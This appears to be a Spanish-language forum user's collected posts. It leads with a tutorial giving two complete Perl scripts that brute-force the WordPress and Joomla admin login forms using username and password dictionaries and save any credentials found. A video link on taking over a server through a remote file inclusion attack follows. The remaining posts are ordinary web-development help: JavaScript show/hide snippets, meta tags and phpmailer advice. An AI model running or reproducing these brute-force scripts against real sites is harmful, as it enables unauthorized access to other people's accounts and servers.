Mensajes

No hay de que amigo :UND3R:, un placer compartilo en este gran foro, encuentro muchas cosas interesantes en este sitio, un saludo.  

Pequeño tutorial de como construir scripts con Perl para explotar los formularios de login de Wordpress y Joomla mediante fuerza bruta.

wordpress-login.pl

Código (perl) [Seleccionar] Expandir


#!c:/strawberry/perl/bin/perl.exe

#Evitar caracteres extraños en la consola de windows
binmode(STDOUT, ":encoding(cp850)");
binmode(STDIN, ":encoding(cp850)");

use WWW::Mechanize;
use strict;

#parámetros para el script
my $url = $ARGV[0];
my $admin = $ARGV[1];
my $password = $ARGV[2];
my $reporte = $ARGV[3];

if (!@ARGV)
    {
print "wordpress-login.pl <url> <admin> <password> opcional<reporte>";
}
else
    {
  my $mechanize = WWW::Mechanize->new();
  #url de destino
  $mechanize->get($url);
 
  #Abrir el diccionario para admin
  open(ADMIN, "<", $admin) || die("Error al abrir el diccionario para admin");
  while(<ADMIN>)
    {
my $adm = $_;
chomp($adm);
#Abrir el diccionario para password
open(PASSWORD, "<", $password) || die("Error al abrir el diccionario para password");
while (<PASSWORD>)
  {
   chomp($_);
   #Enviar el formulario
   $mechanize->submit_form
                  (
     form_id => "loginform",
fields => {log => $adm, pwd => $_}
   );
print "$adm:$_\n";
my $content = $mechanize->content;
#comprobar el contenido
if ($content =~ /Bienvenido/ || $content =~ /Welcome/)
  {
  print "\n\n¡¡¡¡DATOS DE ACCESO!!!! $adm:$_\n\n";
   if ($reporte)
     {
   open(REPORTE, ">", $reporte);
   print REPORTE "¡¡¡¡DATOS DE ACCESO!!!! $adm:$_";
   close(REPORTE);
   print "####Datos guardados en $reporte####\n";
}
   exit;
  }
  }
  close(PASSWORD);
}
close(ADMIN);
}


[youtube=640,360]https://www.youtube.com/watch?v=2p9L2WcGmmQ[/youtube]

joomla-login.pl

Código (perl) [Seleccionar] Expandir


#!c:/strawberry/perl/bin/perl.exe

#Evitar caracteres extraños en la consola de windows
binmode(STDOUT, ":encoding(cp850)");
binmode(STDIN, ":encoding(cp850)");

use WWW::Mechanize;
use strict;

#parámetros para el script
my $url = $ARGV[0];
my $admin = $ARGV[1];
my $password = $ARGV[2];
my $reporte = $ARGV[3];

if (!@ARGV)
    {
print "joomla-login.pl <url> <admin> <password> opcional<reporte>";
}
else
    {
  my $mechanize = WWW::Mechanize->new();
  #url de destino
  $mechanize->get($url);
 
  #Abrir el diccionario para admin
  open(ADMIN, "<", $admin) || die("Error al abrir el diccionario para admin");
  while(<ADMIN>)
    {
my $adm = $_;
chomp($adm);
#Abrir el diccionario para password
open(PASSWORD, "<", $password) || die("Error al abrir el diccionario para password");
while (<PASSWORD>)
  {
   chomp($_);
   #Enviar el formulario
   $mechanize->submit_form
                  (
     form_id => "form-login",
fields => {username => $adm, passwd => $_}
   );
print "$adm:$_\n";
my $content = $mechanize->content;
#comprobar el contenido
if ($content =~ /Panel de Control/ || $content =~ /Control Panel/)
  {
  print "\n\n¡¡¡¡DATOS DE ACCESO!!!! $adm:$_\n\n";
   if ($reporte)
     {
   open(REPORTE, ">", $reporte);
   print REPORTE "¡¡¡¡DATOS DE ACCESO!!!! $adm:$_";
   close(REPORTE);
   print "####Datos guardados en $reporte####\n";
}
   exit;
  }
  }
  close(PASSWORD);
}
close(ADMIN);
}


[youtube=640,360]https://www.youtube.com/watch?v=R0IBBlyGjq8[/youtube]

Hola amigos, aquí os dejo un vídeo tutorial de PHP que he ido realizando poco a poco creo que puede ser de buena ayuda para aquellos que se inician en este mágico mundo.

[youtube=640,360]https://www.youtube.com/watch?v=OU3nv6UI40E&list=PLjARR1053fYnTFRzyM8Uw0ku2rhFEb_hE[/youtube]

UN SALUDO.

Amigos, aquí os dejo un vídeo que muestra como se realizaría un ataque RFI y como podría tomar el control del servidor atacado ...

[youtube=640,360]https://www.youtube.com/watch?v=69uUOo2fQj4[/youtube]

Hola, hace poco ha salido un cms para foros basado en bootstrap, a mi personalmente me gusta el diseño y dicen que va bien, y estoy pensando en instalarlo ya que phpbb está muy visto, aquí os dejo la url del gesto para foros ... http://www.judicms.com

Puedes hacer una función con javascript y al enviar el formulario, que se te oculte la caja...

function ocultar() {
document.getElementById("caja").style.visibility = "hidden";
}

Prueba a poner estas etiquetas META...

<meta http-equiv="X-UA-Compatible" content="IE=6">
<meta http-equiv="X-UA-Compatible" content="IE=7">
<meta http-equiv="X-UA-Compatible" content="IE=8">

prueba, haber si te funciona así.

Te recomiendo que lo hagas con phpmailer, en internet hay mucha información sobre esto, y no es nada complicado.

Saludos.

prueba a hacer esto
<script type="text/javascript">
function mostrar() {
document.getElementById("caja").innerHTML = "lo que sea<input type='button' onclick='ocultar()' value='ocultar'>";
}

function ocultar() {
document.getElementById("caja").innerHTML = "";
}
</script>

<input type="button" onclick="mostrar()" value="mostrar">
<div id="caja"></div>

Hola quiero dejar aquí mi aporte para todos aquellos que se quieran iniciar en la programación con PHP, es mi blog... http://php-estudios.blogspot.com

Espero que les sea de ayuda, saludos.